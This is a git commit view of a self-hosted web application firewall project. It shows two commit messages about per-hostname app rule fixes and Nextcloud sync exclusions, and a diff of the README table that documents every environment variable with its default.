Author SHA1 Message Date
sneak 828af271a6 SWW_APPS: an app's Core Rule Set fixes apply only to the hostnames that serve it (closes #220)
check / check (push) Failing after 14m14s
Each app's fixes are one .conf file and one entry in apps. They apply
only while Inspect has set the app's transaction variable, such as
tx.app_gitea. SWW_APPS names each hostname's apps. A hostname gets only
its apps' fixes; while SWW_APPS is unset, every hostname gets every
app's fixes.

A hostname in SWW_APPS that is not a DNS name, such as *.example.com,
stops the start. Unset, SWW_APPS is logged at start as null; set
empty, as "".

Model: opus-5-5
2026-11-10 11:02:15 +00:00
clawbot 2ac7f1ccbf Core Rule Set: Nextcloud's calendar and contacts sync pass (closes #280)
check / check (push) Failing after 4m1s
rproxy passes MKCALENDAR on. nextcloud.conf allows it on
/remote.php/dav/calendars/ and PROPFIND on /.well-known/caldav and
carddav. The XML of an MKCOL there skips 930120, 932120, 932250 and
932260. That of an MKCALENDAR, and of an MKCOL on the address books'
paths, also skips 932125 and 932230, for the description. A PUT of
text/calendar or text/vcard there skips 920530: the Calendar and
Contacts apps name the charset twice when they change an event or a
contact.

Recorded from Nextcloud 35.0.2 with Calendar 6.6.5, Contacts 8.9.5 and
requests imitating DAVx5.

Model: opus-5-5
2026-11-10 11:57:58 +01:00
24 changed files with 1755 additions and 1548 deletions

No files matched your search

+143 -142
View File
@@ -220,123 +220,124 @@ account, a key, a token or an alert destination stays off until you give one.
Every setting the code reads, with its default: Every setting the code reads, with its default:
| Variable | Default | What it does | | Variable | Default | What it does |
| ---------------------------------------- | ---------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------------------- | ---------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. | | `SWW_COMMAND` | `rproxy` | Which command the image runs, and its health check checks: `rproxy` or `discriminator`. |
| `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. | | `SWRP_WAF_BACKEND` | required | `discriminator`'s URL, such as `http://discriminator:8080`. |
| `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. | | `SWRP_UPSTREAM_URL` | `http://127.0.0.1:8081` | The app's URL: a scheme, a host and an optional port, nothing more. |
| `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. | | `SWRP_LISTEN_ADDR` | `:8080` | Where `rproxy` listens; leave the host part empty. |
| `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. | | `SWRP_TRUSTED_PROXIES` | `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16` | The netblocks whose `X-Forwarded-For` `rproxy` believes; set but empty, it believes none. |
| `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. | | `SWRP_TIMEOUT_MS` | `2000` | How long `rproxy` waits for `discriminator`'s answer to a question and to a report, in milliseconds. |
| `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. | | `SWRP_DEFAULT_DISPOSITION` | `allow` | What `rproxy` does with a request when `discriminator` cannot be reached or does not answer in time: `allow` passes it to the app, `deny` answers `503`. |
| `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. | | `SWRP_MAX_REQUEST_SIZE` | `100M` | The largest request body, a size or `off`; a larger one is answered `413`. |
| `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. | | `SWRP_MAX_RESPONSE_SIZE` | `1G` | The largest response body, a size or `off`. The visitor gets `502` in place of a larger one, or it is cut off if it has already started. |
| `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. | | `SWRP_MAX_REQUEST_TIME_MS` | `60000` | Two time limits, each this long, in milliseconds or `off`: one for the visitor to send its request line and headers, then one for the whole request to reach the app. |
| `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. | | `SWRP_MAX_RESPONSE_TIME_MS` | `1800000` | How long the answer may take, from the end of the request to its last byte reaching the visitor, in milliseconds or `off`. |
| `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. | | `SWW_LISTEN_ADDR` | `:8080` | Where `discriminator` listens; leave the host part empty. |
| `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. | | `SWW_INSTANCE_NAME` | the container's host name | The name in every line `discriminator` logs, and in every alert and metric, such as `fsn1/discriminator`. |
| `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. | | `SWW_MODE` | `enforce` | `observe` refuses nothing and makes no ban; each log line says what `enforce` would have done. |
| `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. | | `SWW_IPV6_GROUP_PREFIX` | `64` | The prefix length of the IPv6 netblock that counts as one client, from 32 to 128. |
| `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. | | `SWW_MAX_TRACKED_CLIENTS` | `20000` | The most clients kept, in memory and in `clients.json`; the least recently seen is dropped first. |
| `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. | | `SWW_MAX_BANS` | `5000` | The most bans `discriminator` keeps of its own; bans an admin made do not count. |
| `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. | | `SWW_ALLOW_NETS` | empty | Netblocks whose clients skip every check, such as your monitoring. |
| `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. | | `SWW_RATE_LIMIT_EXEMPT_NETS` | empty | Netblocks whose clients are exempt from rate limiting and the byte limits. |
| `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. | | `SWW_DENY_NETS` | empty | Netblocks whose clients are refused. |
| `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_MINUTE` | `120` | The most requests a client may make in a minute, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_HOUR` | `1500` | The most requests a client may make in an hour, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. | | `SWW_RATE_LIMIT_PER_DAY` | `6000` | The most requests a client may make in a day, a count or `off`; the next request is refused and bans the client. |
| `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. | | `SWW_RATE_LIMIT_EXEMPT_PATHS` | empty | Path prefixes exempt from rate limiting and the byte limits, such as `/assets/`. |
| `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_MINUTE` | `off` | The most bytes counted for a client in a minute, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_HOUR` | `50G` | The most bytes counted for a client in an hour, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. | | `SWW_BYTES_LIMIT_PER_DAY` | `100G` | The most bytes counted for a client in a day, a size or `off`. `SWW_BYTES_COUNT` says which bytes count: response bodies, request bodies or both. The request that passes the limit is not cut off, and the client is banned when its response ends. |
| `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. | | `SWW_BYTES_COUNT` | `both` | What the byte limits and the byte anomaly thresholds count: `response`, the app's response bodies; `request`, the visitors' request bodies; or `both`. What the visitor sent over a WebSocket counts as request bytes, and what the app sent as response bytes. |
| `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. | | `SWW_ERROR_BURST_THRESHOLD` | `30` | The most refusals a client may get in a minute from a rule file, a trap path or the Core Rule Set, a count or `off`. The next one bans the client. |
| `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. | | `SWW_BAN_RESPONSE` | `403` | How a refused client is answered: `403`, `429` or `close`, which drops the connection. |
| `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. | | `SWW_LIMIT_BAN_DURATION` | `1h` | The ban for a first broken limit. |
| `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. | | `SWW_LIMIT_BAN_REPEAT_WINDOW` | `24h` | A client that breaks a limit again within this time after its last such ban ended gets a ban three times as long. |
| `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. | | `SWW_MAX_BAN_DURATION` | `7d` | A ban for a broken limit that would be longer than this is permanent instead. |
| `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. | | `SWW_ATTACK_BAN_DURATION` | `7d` | The ban for a first clear sign of attack: a `ban` rule or a trap path. |
| `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. | | `SWW_BAN_SCOPE_V4_PREFIX` | `32` | The prefix length of the netblock a ban on an IPv4 client covers, from 0 to 32. |
| `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. | | `SWW_LOOKUP_SOURCE` | `geojs` | Where each client's AS number and country come from: `geojs` (a web service), `file` (a local database) or `off`. |
| `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. | | `SWW_LOOKUP_DB_PATH` | empty | The IPinfo Lite database file, in its `.mmdb` form, read while the source is `file`. |
| `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. | | `SWW_LOOKUP_TIMEOUT` | `800ms` | How long a request waits for its client's first GeoJS answer when a setting needs it, and how long a request to GeoJS may take. |
| `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. | | `SWW_ADD_LOOKUP_HEADERS` | `false` | `true` passes the app the client's AS number and country in `X-Client-ASN` and `X-Client-Country`. |
| `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. | | `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` | empty | When set, the only countries whose clients get through; a client the lookup cannot place is refused too. |
| `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. | | `SWW_TAG_LISTS` | empty | Address lists that each add a tag to their clients' requests, as `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. |
| `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. | | `SWW_TAG_DENY` | empty | Tags whose requests are refused, such as `torexit,country=CN`. |
| `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. | | `SWW_TAG_LIMIT_PERCENT` | empty | Tags whose clients get a percentage, from 1 to 99, of every request and byte limit, such as `vpn:50,asn=14061:25`; the lowest applies. |
| `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. | | `SWW_ROUTEWATCH_URL` | unset | The URL of a routewatch instance, which gives each client's `asn=` and `prefix=` tags. Unset, nothing asks routewatch. |
| `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. | | `SWW_ASN_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the AS numbers listed, in place of their `asn=` tag's percentage. |
| `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. | | `SWW_COUNTRY_BYTES_PERCENT` | empty | A percentage of the byte limits alone for the countries listed, in place of their `country=` tag's percentage. |
| `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. | | `SWW_UNKNOWN_LIMIT_PERCENT` | `100` | The percentage of every limit a client without a country gets. |
| `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). | | `SWW_ASN_LIMIT_PERCENT_URL` | unset | The URL of a text file of `AS<number>:<percent>` lines, fetched like a blocklist; each line counts as an `asn=` tag in `SWW_TAG_LIMIT_PERCENT` (the lowest wins). |
| `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. | | `SWW_RULES_DIR` | `/etc/sww/rules.d` | The directory of the rule files, read at start and again when a file there changes. |
| `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. | | `SWW_RULES_ENABLED` | `true` | `false` reads no rule file. |
| `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. | | `SWW_TRAP_PATHS` | empty | Paths only scanners ask for, such as `/wp-login.php,/xmlrpc.php`; a request for one bans the client. |
| `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. | | `SWW_WAF_MODE` | `block` | What the Core Rule Set does with a match: `block` refuses it with `403`, `detect` only logs and alerts it, `off` runs no rule. |
| `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. | | `SWW_WAF_PARANOIA_LEVEL` | `1` | The Core Rule Set's paranoia level, from 1 to 4; each level up finds more attacks and takes more ordinary requests for attacks. |
| `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. | | `SWW_WAF_ANOMALY_THRESHOLD` | `5` | The Core Rule Set score at which a request is a match, a whole number or `off`; one critical rule scores 5. |
| `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. | | `SWW_WAF_DISABLED_RULES` | `920340,920420,920440,920640,930130,930140` | Core Rule Set rule ids switched off; a list you give replaces the default, so repeat these six to keep them off. |
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. | | `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. | | `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. | | `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. | | `SWW_APPS` | unset | The apps each hostname serves, `drupal`, `gitea`, `mastodon`, `mediawiki`, `nextcloud`, `vaultwarden` or `wordpress`, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. Unset, every app's fixes apply to every hostname. |
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. | | `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. | | `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
| `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. | | `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
| `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. | | `SWW_DNSBL_ZONES` | empty | DNS blocklists asked about each new client in the background, such as `dnsbl.dronebl.org`. |
| `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. | | `SWW_DNSBL_RESOLVER` | unset | The resolver the zones are asked through, an IP address with an optional port; unset, the host's resolver is used. |
| `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. | | `SWW_ABUSEIPDB_KEY` | unset | The key of your AbuseIPDB account; set, a client that has committed an offence is checked in the background. |
| `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. | | `SWW_ABUSEIPDB_MIN_SCORE` | `75` | The least AbuseIPDB abuse confidence score, from 0 to 100, that is a hit. |
| `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. | | `SWW_ABUSEIPDB_DAILY_BUDGET` | `900` | The most AbuseIPDB checks made in a day. |
| `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. | | `SWW_CROWDSEC_LAPI_URL` | unset | The local API of a CrowdSec engine you run, such as `http://172.17.0.1:8080`; its decision list is fetched every minute, and a listed client is banned. |
| `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. | | `SWW_CROWDSEC_LAPI_KEY` | unset | The key the engine gave for `smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it; set with the URL, never alone. |
| `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. | | `SWW_REPUTATION_ACTION` | `limit:25` | What a client listed by a DNS blocklist, or scored a hit by AbuseIPDB, gets: `deny`, `limit:<percent>` or `log`. |
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. | | `SWW_REPUTATION_CACHE_TTL` | `24h` | How long a DNS blocklist verdict or an AbuseIPDB score is used. |
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. | | `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. | | `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. | | `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
| `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. | | `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_LOG_LEVEL` | `info` | The least severe of `discriminator`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `discriminator` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | | `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | | `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | | `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | | `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | | `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. | | `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | | `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | | `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | | `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | | `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | | `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | | `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | | `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | | `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | | `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | | `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | | `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | | `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | | `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. | | `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. | | `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | | `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | | `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | | `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | | `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | | `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
